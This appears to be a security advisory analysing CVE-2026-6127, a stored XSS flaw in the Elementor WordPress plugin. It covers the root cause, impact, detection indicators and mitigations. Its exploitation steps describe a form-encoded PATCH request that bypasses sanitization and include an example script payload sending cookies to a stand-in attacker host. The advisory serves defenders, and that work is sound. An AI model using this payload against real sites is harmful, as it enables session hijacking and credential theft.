CVE-2026-6127: 
WordPress vulnerability analysis and mitigation

CVE-2026-6127 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin for WordPress, affecting versions up to and including 4.0.4. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages via the _elementor_data meta field through form-encoded REST API requests. It was published on May 1, 2026, with a patch available in versions beyond 4.0.4. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is insufficient input sanitization (CWE-79) in how the Elementor plugin handles form-encoded REST API requests. The plugin registers the _elementor_data meta field with show_in_rest but omits a sanitize_callback, instead relying on a rest_pre_insert_post filter (sanitize_post_data function) that only processes JSON-encoded request bodies. When a contributor sends a form-encoded PATCH request to the WordPress REST API, the json_decode() call on the raw body returns null, causing the sanitization logic to be entirely bypassed. The unsanitized data is then persisted via update_post_meta() and later rendered without escaping through widget sinks such as the HTML widget's print_unescaped_setting() function (GitHub Advisory, Wordfence).

Successful exploitation allows authenticated contributors to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session hijacking, credential theft, malware distribution, or website defacement. The changed scope in the CVSS rating reflects that the injected scripts can affect users beyond the attacker's own session, including administrators, potentially enabling privilege escalation or further site compromise (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is approximately 0.042–0.055%, placing it in the lower percentiles for near-term exploitation likelihood. The vulnerability requires at minimum contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities. No threat actor attribution or CISA KEV catalog listing has been reported (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running Elementor Website Builder version 4.0.4 or earlier. This can be done by checking the plugin version in the site's readme or via passive enumeration tools.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft a malicious form-encoded PATCH request: Construct an HTTP PATCH request to the WordPress REST API endpoint for posts (e.g., /wp-json/wp/v2/posts/{id}), setting the Content-Type header to application/x-www-form-urlencoded instead of application/json. Include a malicious XSS payload in the _elementor_data parameter (e.g., _elementor_data=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Bypass sanitization: Because the request body is form-encoded, json_decode() returns null and the sanitize_post_data filter skips all sanitization, allowing the raw payload to be stored via update_post_meta().
5. Trigger execution: The injected script is rendered without escaping through the HTML widget's print_unescaped_setting() function when any user visits the affected page, executing the attacker's payload in their browser (GitHub Advisory, Wordfence).

• Network: Unusual HTTP PATCH requests to /wp-json/wp/v2/posts/{id} with Content-Type: application/x-www-form-urlencoded containing _elementor_data parameters with script tags or encoded JavaScript payloads.
• Logs: WordPress access logs showing PATCH requests to REST API post endpoints from contributor-level accounts, especially with form-encoded bodies; PHP error logs referencing json_decode returning null in Elementor's elementor-post-meta.php.
• File System / Database: Unexpected JavaScript or <script> tags stored in the wp_postmeta table under the _elementor_data meta key for posts or pages.
• Process/Browser: Users reporting unexpected redirects, pop-ups, or credential prompts when visiting site pages; admin sessions being hijacked or unusual admin actions logged shortly after page visits (GitHub Advisory).

Update the Elementor Website Builder plugin to a version newer than 4.0.4, which includes the fix applied in changeset 3519457 on the WordPress plugin repository. As an interim measure, restrict REST API access to trusted and authenticated users only, and implement a web application firewall (WAF) rule to block form-encoded PATCH requests targeting the _elementor_data parameter. Audit contributor-level user accounts and remove unnecessary elevated permissions. Additionally, deploying Content Security Policy (CSP) headers can reduce the impact of any successful XSS injection (GitHub Advisory, Wordfence, Plugin Changeset).

Wordfence, which assigned and disclosed the vulnerability, published it in their weekly WordPress vulnerability report for the period of April 27–May 3, 2026, noting no public PoC or active exploitation at the time (Wordfence Blog). The vulnerability received standard coverage from vulnerability aggregators and security news feeds, with no notable controversy or significant community debate observed.